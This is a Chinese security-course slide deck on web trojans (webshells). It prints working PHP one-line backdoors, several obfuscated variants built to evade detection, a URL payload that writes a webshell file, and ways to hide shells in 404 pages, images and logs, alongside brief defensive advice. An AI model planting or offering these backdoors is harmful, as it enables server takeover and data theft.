版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第6章Web木马01Web木马的原理02Web木马的特点03一句话木马04大马和小马目录CONTENTSWeb木马的原理Web木马Web木马的定义
攻击者攻击的最终目标是取得目标Web服务器的控制权限,在这个过程中,各类高危漏洞给攻击者取得目标权限提供了极大便利。但攻击者仍需利用木马来获取Web服务器限并实现持续控制的效果。因此,必须了解Web木马的原理,并制定有效的防护措施。
木马(Trojanhorse)是指可以控制另一台计算机的特定程序。根据使用场景,木马可分为网页木马、系统木马等类,这种分类取决于它的作用目标。攻击者会针对Web系统所采用的语言(ASP/PHP/JSP等)来编写木马,这样,木马上传到Web服务器后可被当成页面被攻击者访问。当木马上传到服务器后,攻击者远程访问木马(也就是Web页面)即可执行。本章描述的webshell木马就是一种网页形态的木马。Web木马的原理Web木马Web木马的定义
Web木马的主要作用是开设可供攻击者持续使用的后门,以方便攻击者进行后续针对Web服务器的提权等攻击。部分功能较为全面的木马也会提供文件操作、数据库连接等方便攻击者获取当前服务器数据的功能。
攻击者利用Web木马来修改Web页面,如替换首页(早期黑客炫耀为主)添加JavaScript刷流量/暗链等,并且可利用Web木马攻击操作系统来获取更高的权限。因此Web木马的危害非常大。01Web木马的原理02Web木马的特点03一句话木马04大马和小马目录CONTENTS特点二特点一特点四特点三木马可大可小根据功能不同,Web木马自身的文件大小也各不相同。最小的木马可利用一行代码进行实现。大的木马在提供各类丰富的功能基础之上,自身的大小也会超过10KB。无法有效隐藏Web木马执行时必须按照中间件支持的Web格式进行解析并执行。攻击者通常会将木马命名为一个近似系统文件或正常文件的名字,并在其中填充大量与当前站点相似的无效代码。木马在服务端无法真正隐藏。必须为可执行的网页格式Web木马需要在当前Web服务器中执行,因此必须为网页格式。在极端情况下可配合文件包含漏洞实现木马执行,但最终执行环境必须为网页。具有明显特征值Web木马需要调用系统的关键函数用以执行本身的功能,这些关键函数在木马中起着无法替代的作用,是Web木马的明显特征。常见的关键函数有:命令执行类:eval、system、popen、exec、shell_exec等文件功能类:fopen、opendir、dirname、pathinfo等数据库操作类:mysql_query、mysqli_query等Web木马Web木马的特点01Web木马的原理02Web木马的特点03一句话木马04大马和小马目录CONTENTS一句话木马一句话木马的定义Web系统中的木马是直接获取Webshell的有效手段,但是木马的大量功能会导致木马文件增大。同时,实现木马功能的代码越多,木马的特点也越明显,就越容易被发现。
一句话木马是一种特征性很强的脚本后门的简称,主要用于实现基本的链接功能。一句话木马的最大功能就是在Web服务器上“打开窗口”,以便为后续远程链接并传送后续大马等行为提供条件。Web木马一句话木马一句话木马的原型一句话木马的实现方式是定义一个执行环境,并设计一个传参数点,供接收外部给出的参数。经典的PHP环境的一句话木马原型如下:
<?php@eval($_POST[‘C’]);?>
其中:<?php:脚本语言开始标记@eval:执行后面请求到的数据$_POST[‘C’]:获取客户端提交的数据,C为参数?>:脚本语言结束标记
Web木马一句话木马一句话木马的变形技巧由于一句话木马特征值极其明显,目前使用的防护方式均可对特征值进行直接判断,并且如果PHP禁用了eval函数,就会使得一句话木马无法执行。因此,一句话木马如果不做伪装、不对自己的特征进行隐藏或变形,会被防护设备过滤。正常攻防场景中,攻击者会采用各种变化,实现对一句话木马的隐藏,避免其被防护设备发现。下面是两个一句话木马变形的实例:
Web木马<?php$a=‘assert’;array_map(“$a”,$_REQUEST);?><?php$item[‘JON’]=‘assert’;$array[]=$item;$array[0][‘JON’]($_POST[‘TEST’]);?>一句话木马一句话木马的变形技巧一句话木马常用的变形技巧为:更换执行数据来源字符替换或特殊编码采用藏匿手段混合上述手段Web木马一句话木马一句话木马的变形技巧1.更换执行数据来源Web木马在前面提到的经典的一句话木马中,其执行数据来源通过$_POST获取,也可以根据需要改为GET、COOKIE、SESSION等方式来获取用户端的参数;但考虑到数据长度、编码、隐蔽性等因素,还是使用POST方法更为合适。如果POST方式被过滤,那么只能考虑利用其他参数进行替换,实现对防护手段的绕过。一句话木马PHP中获取表单数据的方法Web木马PHP中获取表单中数据的方法有:GET方法,POST方法,REQUEST方法POST方法<formname="form1"method="post"action=""><inputtype="text"name="contents"value=""><inputtype="submit"value="提交"></form><?phpif(isset($_POST[‘contents’])){$contents=$_POST[‘contents’];
//获取表单提交的数据echo$contents;}?>GET方法:<formname="form1"method="get"action=""><inputtype="text"name="contents"value=""><inputtype="submit"value="提交"></form><?phpif(isset($_GET[‘contents’])){$contents=$_GET[‘contents’];
//获取表单提交的数据echo$contents;}?>一句话木马PHP中获取表单数据的方法Web木马PHP中获取表单中数据的方法有:GET方法,POST方法,REQUEST方法,三者的区别是:使用GET方法时,所有变量名和值都会在URL中显示。不适合发送密码或敏感信息,变量值不能超过2000个字符,适合在收藏夹中收藏该页面。使用POST方法发送的信息对任何人都不可见,发送的信息量也没有限制,但发送信息的页面无法放入书签或收藏夹。$_REQUEST变量既可以收集GET方法发送的数据,也可以接受POST方法接受的数据。一句话木马一句话木马的变形技巧1.更换执行数据来源Web木马(1)利用GETGET方式在使用方法上与POST方式没有太大区别,只是在传参方面,GET可利用URL进行传输。因此,可利用URL编码来实现内容的简单编码。参考语句如下:<?php$_GET[a]($_GET[b]);?>(假设文件名命名为a.php)这个语句中没有直接显示用于执行参数的命令,但看到需要传入两个参数,因此在利用方面可在参数a传入执行命令,在参数b传入代码:http://xxx.xxx.xxx/a.php?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))}虽然提示各种错误,却能够执行,因此,assert又称为容错代码一句话木马一句话木马的变形技巧1.更换执行数据来源Web木马(1)利用session可利用Session的特性来保持函数内容,利用方式如下:<?phpsession_start();
$_POST[‘code’]&&$_SESSION[‘theCode’]=trim($_POST[‘code’]);$_SESSION[‘theCode’]&&preg_replace(‘\’a\’eis’,‘e’.’v’.’a’.’l’.’base64_decode($_SESSION[\‘theCode\’]))’,‘a’)?>代码的执行流程为:如果会话$_SESSION[‘theCode’]存在,则利用preg_replace执行正则表达式的匹配以及替换结果生成eval函数。替换完成后,根据第二个参数传入时的内容拼接成eval($_SESSION[‘theCode’])一句话木马一句话木马的变形技巧2.字符替换或特殊编码Web木马与eval()有相近功能的函数还有assert(),两者可以互换使用。如果eval()被过滤或限制执行,可以考虑使用assert()函数。当然,也可以通过一些字符替换和隐藏来保护这两个关键函数,以达到允许命令执行的效果。一句话木马一句话木马的变形技巧2.字符替换或特殊编码Web木马(1)使用字符替换防止关键字过滤常见的方式是利用替换函数实现对字符串内关键字的“变形”,实现针对原有敏感字符的隐藏效果。替换样例如下:$a=str_replace(x,””,”axsxxsxexrxxt”)这样函数会将axsxxexrxxt中的“x”全部删除,保留下的内容就为assert。一句话木马一句话木马的变形技巧2.字符替换或特殊编码Web木马(2)字符串组合法隐藏关键字将需要隐藏的函数字符随机打乱是另一种隐藏方法。首先定义一些随机字符串,再调用打乱后的字符顺序并拼接成有效的参数,也可实现隐藏功能。样例如下:<?php$str=‘aerst’;$funct=$str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};@$funct($_POST[‘c’]);?>一句话木马一句话木马的变形技巧2.字符替换或特殊编码Web木马(3)利用编码方式隐藏关键字在针对高危函数过滤的环境时,为绕过某些直接的字符过滤方法,也可将字符进行base64_decode、gzinflate、urldecode、二进制编码等转换,从而实现对高危函数的藏匿。利用编码可有效绕过关键字的防护。样例如下:<?php
@eval(base64_decode(JF9QT1NUWydjJ10=));?>JF9QT1NUWydjJ10=解码后为$_POST[‘c’],这样就可以实现隐藏效果。当然,也可利用这种变种方式对其他高危函数或者整体木马进行变形,实现高危函数基本特征隐藏的作用。一句话木马一句话木马的变形技巧3.木马藏匿手段Web木马木马在服务器端存放时,如果放在根目录或其他明显位置,则非常容易被安全人员发现并删除。安全人员会在定期安全巡检中对服务器的文件进行排查,重点检查文件的创建日期是否异常,对陌生文件会直接打开观察内容等。因此,攻击者会使用这种方式对上传的木马进行藏匿,以有效提升木马的持续性,同时提升攻击者对Web服务器权限的持续控制。常见的木马藏匿点有如下几个:一句话木马一句话木马的变形技巧3.木马藏匿手段Web木马(1)404页面利用404页面隐藏小马是早期一种有效的方式。404页面是网站常用的页面,用于提示当前用户访问的连接无法找到。在Web站点那好后,一般很少针对404页面进行修改与检查。因此,常用于隐藏一句话木马,避免被管理员发现。在404页面中,有效隐藏的方式如下:<!doctypehtml><htmllang="en"><head><title>404NotFound</title></head><body>
<h1>NotFound</h1>
<p>TherequestedURLwasnotfoundonthisserver</p></body></html><?php
@preg_replace(“/[pageerror]/e”,$_POST[‘error’],”saft”);header(‘HTTP/1.1404NotFound’);?>一句话木马一句话木马的变形技巧3.木马藏匿手段Web木马(1)图片或日志无法修改目标站点页面时,也可将一句话木马写在文本中,保存为.jpg等图片格式,并上传到服务器,或者保存在Web服务的日志中。再利用文件包含方式(下一章会讲到)来调用含有一句话木马的文件,进而达到执行一句话木马的效果。一句话木马安全建议Web木马要防止一句话木马,关键是要控制执行函数。一种简单有效的方法是禁用assert()函数,外加对eval()参数进行监控。也可以搜索日志中的assert进行监控,因为GET值必须GET一个assert,以实现对后期传入的命令的执行。
总之,防御的方法与绕过的方法变化无穷。目前针对Web木马的防护手段已经从疑似木马结构转向对其行为的分析及检查。
很多场景下,攻击者获得Webshell后并不仅仅会修改当前页面进行炫技,而是要获取当前的数据库,俗称“拖库”,进而获得网站所有用户的信息,执行挂黑SEO、挂DDOS攻击端等操作。01Web木马的原理02Web木马的特点03一句话木马04大马和小马目录CONTENTS大马和小马大马和小马
大型木马主要为webshell后门木马,它是以asp、jsp、php或者cgi网页文件形式存在的一种命令执行环境,也可以称其为一种网页后门,其目的是控制网站或者web系统服务器(上传下载文件、查看数据库、执行任意程序命令等)。
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年西安旅游股份有限公司招聘模拟笔试试题及答案解析
- 2025广西旅发集团广西自贸区医院管理有限公司招5人考试备考题库及答案解析
- 2025年亳州涡阳县人力资源和社会保障局公开招募青年就业见习人员备考笔试题库及答案解析
- 2025广西壮族自治区人民医院防城港医院防城港市第一人民医院紧急招聘超声医学科前台登记员2人参考考试试题及答案解析
- 2025山东济南市平阴丰源炭素有限责任公司招聘29人参考考试题库及答案解析
- 2025中国信托业保障基金有限责任公司招聘参考考试试题及答案解析
- 2026年南昌大学附属口腔医院高层次人才招聘备考笔试题库及答案解析
- 2025云南玉溪数字资产管理有限公司市场化选聘中层管理人员招聘3人备考笔试题库及答案解析
- 网店顾问合同范本
- 网络转移协议书
- 2025年及未来5年市场数据中国拖拉机制造市场竞争态势及投资战略规划研究报告
- 广东省广州市越秀区2024-2025学年八年级上学期期末考试英语试题
- 地震波速反演方法-洞察及研究
- 百年未有之大变局课件
- 2025年时事政治考试100题及答案
- 应急救援电源
- 电力行业电力工程设计师岗位招聘考试试卷及答案
- 2025年北京市建筑施工作业人员安全生产知识教育培训考核试卷E卷及答案
- 中铁群安员培训
- 2024年云南省第一人民医院招聘考试真题
- 2025急性高甘油三酯血症胰腺炎康复期多学科管理共识解读
评论
0/150
提交评论